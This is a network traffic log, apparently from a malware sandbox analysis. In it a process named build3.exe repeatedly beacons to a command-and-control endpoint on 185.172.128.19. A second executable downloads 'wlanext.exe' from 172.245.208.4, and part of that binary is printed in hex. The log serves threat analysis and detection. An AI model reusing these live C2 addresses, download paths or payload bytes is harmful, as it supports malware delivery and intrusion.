Dec 20, 2023 15:36:53.513813019 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:53.804105997 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49898	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:54.240966082 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:54.554107904 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49899	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:54.846314907 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:55.136430979 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49900	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:55.556361914 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:55.858783007 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:55.861423969 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:56.166208029 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49902	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:56.572544098 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:56.904819012 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49903	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:57.295689106 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:57.592816114 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49904	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:36:59.019087076 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:36:59.319014072 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:36:59.321616888 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:36:59.625233889 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49906	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:00.083690882 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:00.382844925 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:00.385350943 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:00.685517073 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49907	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:01.099859953 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:01.403250933 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49908	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:01.702686071 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:02.016632080 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49909	172.245.208.4	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:01.867628098 CET	79	OUT	GET /2546/wlanext.exe HTTP/1.1 Host: 172.245.208.4 Connection: Keep-Alive
Dec 20, 2023 15:37:02.045155048 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:37:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Mon, 18 Dec 2023 20:40:44 GMT ETag: "f9108-60ccec390c7f1" Accept-Ranges: bytes Content-Length: 1020168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 35 ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 00 00 00 d0 01 00 00 04 00 00 bf 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 06 00 00 04 00 00 f1 c5 0f 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 74 00 00 a0 00 00 00 00 50 03 00 20 a3 02 00 00 00 00 00 00 00 00 00 b0 6e 0f 00 58 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 59 5e 00 00 00 10 00 00 00 60 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 12 00 00 00 70 00 00 00 14 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a8 01 00 00 90 00 00 00 04 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 20 a3 02 00 00 50 03 00 00 a4 02 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(FFFFGvFFvF.@FRichFPEL5MX`2p@@(tP nX"p.textY^` `.rdataFpd@@.datax@.ndata@.rsrc P\|@@
Dec 20, 2023 15:37:02.045176029 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d Data Ascii: U\}t+}FEuH(7BHPuuur@BSV507BEWPur@eEEPur@}e\p@FRVVU+MM3FQNUMVT
Dec 20, 2023 15:37:02.045198917 CET	1286	IN	Data Raw: fe ff ff e9 9f 14 00 00 53 50 e8 3f 3c 00 00 e9 88 14 00 00 53 e8 d0 15 00 00 83 f8 01 59 89 55 c8 7f 03 33 c0 40 50 ff 15 74 70 40 00 e9 6a 14 00 00 ff 75 f8 ff 15 4c 72 40 00 e9 5c 14 00 00 c1 e0 02 39 5d e0 75 26 8b 88 a0 37 42 00 6a 01 89 88 Data Ascii: SP?<SYU3@Ptp@juLr@\9]u&7Bj7BYUM7B.7B7BE47B3;#MD47BV.B5xr@;tRQE/B;PQj*uPp@
Dec 20, 2023 15:37:02.045258999 CET	1286	IN	Data Raw: 0e 56 e8 3e 45 00 00 01 45 08 79 03 89 5d 08 8b 45 08 3d 00 04 00 00 0f 8d 79 0f 00 00 88 1c 30 e9 71 0f 00 00 6a 20 e8 da 10 00 00 6a 31 8b f0 e8 d1 10 00 00 39 5d e8 50 56 75 12 ff 15 0c 71 40 00 85 c0 75 78 8b 45 e0 e9 53 0f 00 00 ff 15 14 71 Data Ascii: V>EEy]E=y0qj j19]PVuq@uxESq@3GWhVPEq@t9]tVuq@u}SHjU<9]YYUu;\|~;sEzEjjU}YUYE
Dec 20, 2023 15:37:02.045272112 CET	1286	IN	Data Raw: 0f 84 55 08 00 00 39 5d e0 74 46 8b 35 5c 71 40 00 eb 07 6a 0f e8 e4 43 00 00 6a 64 ff 75 08 ff d6 3d 02 01 00 00 74 eb 8d 45 f4 50 ff 75 08 ff 15 58 71 40 00 39 5d dc 7c 0b ff 75 f4 57 e8 44 3f 00 00 eb 0c 39 5d f4 74 07 c7 45 fc 01 00 00 00 ff Data Ascii: U9]tF5\q@jCjdu=tEPuXq@9]\|uWD?9]tEup@1jPB;EtsW?sjjMEQPjC;EEPj@`q@;EjBjEBuEuSuU
Dec 20, 2023 15:37:02.045309067 CET	1286	IN	Data Raw: e8 ea 07 00 00 8b 75 e8 8b f8 8b 45 ec 6a 02 89 45 c8 e8 e3 06 00 00 6a 11 89 45 ac e8 d9 06 00 00 8d 4d 08 53 51 8b 0d d0 37 42 00 83 c9 02 53 51 53 53 53 50 57 c7 45 fc 01 00 00 00 ff 15 24 70 40 00 85 c0 0f 85 3f 05 00 00 83 fe 01 bf 00 9c 40 Data Ascii: uEjEjEMSQ7BSQSSSPWE$p@?@uj#W:@ujiY@VUXuhWSuPWuSuu(p@u]uhKj38;MEQMVQSPW,p@3Au.}t9
Dec 20, 2023 15:37:02.045322895 CET	1286	IN	Data Raw: 20 59 89 55 c8 0f 83 44 fe ff ff 39 5d e4 74 23 39 5d e0 74 0f 50 e8 a4 e9 ff ff 53 53 e8 f3 e8 ff ff eb 60 53 e8 de e9 ff ff 50 57 e8 4a 35 00 00 eb 51 39 5d e0 74 12 8b 15 30 37 42 00 8b 4d dc 89 8c 82 94 00 00 00 eb 3a 8b 0d 30 37 42 00 ff b4 Data Ascii: YUD9]t#9]tPSS`SPWJ5Q9]t07BM:07BW5%0BS#Qjur@9]tSSuq@E7B3_^[i)@@@@@@@o@@@Y@@A@b@j@@@F@Y@@@2@G@Y
Dec 20, 2023 15:37:02.045388937 CET	1286	IN	Data Raw: d8 1b c0 25 00 7e 00 00 05 00 02 00 00 3b f0 7c 02 8b f8 57 68 f0 68 41 00 e8 63 04 00 00 85 c0 0f 84 57 01 00 00 39 1d 34 37 42 00 75 7e 6a 1c 8d 45 dc 68 f0 68 41 00 50 e8 07 2d 00 00 8b 45 dc a9 f0 ff ff ff 75 71 81 7d e0 ef be ad de 75 68 81 Data Ascii: %~;\|WhhAcW947Bu~jEhhAP-Euq}uh}Instu_}softuV}NulluMEEhA7BE;47B/EuEuDEp;vEuSY;5hA}WhhAuV4E=hA+;j947BY
Dec 20, 2023 15:37:02.045408010 CET	1286	IN	Data Raw: 20 71 40 00 ff 15 ac 70 40 00 66 3d 06 00 74 11 53 e8 94 2f 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be 98 72 40 00 56 e8 10 2f 00 00 56 ff 15 a8 70 40 00 8d 74 06 01 38 1e 75 eb 55 6a 09 e8 67 2f 00 00 6a 07 e8 60 2f 00 00 a3 24 37 42 00 ff 15 44 Data Ascii: q@p@f=tS/;thr@V/Vp@t8uUjg/j`/$7BDp@Sr@7BSD$8h`PShAtq@h@h /B+p@BPUx+STq@=B" 7BuD$"Bt$P%P0r@D$ u@8 t8"D$ u@D$"8/
Dec 20, 2023 15:37:02.045460939 CET	1286	IN	Data Raw: d7 ff ff ff 85 f6 74 1a 57 8b fe 8b 36 ff 77 08 ff 15 44 71 40 00 57 ff 15 24 71 40 00 85 f6 75 e8 5f 83 25 f4 ec 41 00 00 5e c3 a1 f4 ec 41 00 eb 0b 8b 48 08 3b 4c 24 04 74 0a 8b 00 85 c0 75 f1 40 c2 04 00 33 c0 eb f9 56 8b 74 24 08 56 e8 d7 ff Data Ascii: tW6wDq@W$q@u_%A^AH;L$tu@3Vt$Vu@,jj@`q@tL$pHAA3^SUV507BWj*3;tPhB%T0ASWSh<s@hB0BxB%80AuSWhZs@h
Dec 20, 2023 15:37:02.230447054 CET	1286	IN	Data Raw: ff eb 1d 6a 02 5f 3b f7 75 34 39 2d ac 37 42 00 74 15 57 e8 01 d7 ff ff 89 3d 00 f1 41 00 6a 78 e8 9e 03 00 00 eb 30 6a 03 e8 eb d6 ff ff 85 c0 75 25 c7 05 00 f1 41 00 01 00 00 00 eb e0 ff 74 24 30 ff 74 24 30 68 11 01 00 00 ff 35 f8 2e 42 00 ff Data Ascii: j_;u49-7BtW=Ajx0ju%At$0t$0h5.Br@t$0t$0SOD$,\|$$;AuM5Dr@jW=(7BjW,AjjWAE5/BjWq@j^.B3@A@35@7B;\|>u1Uvt$j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49910	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:02.428766012 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:37:02.735982895 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:37:02.767482042 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:37:03.073367119 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49912	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:37:03.479881048 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
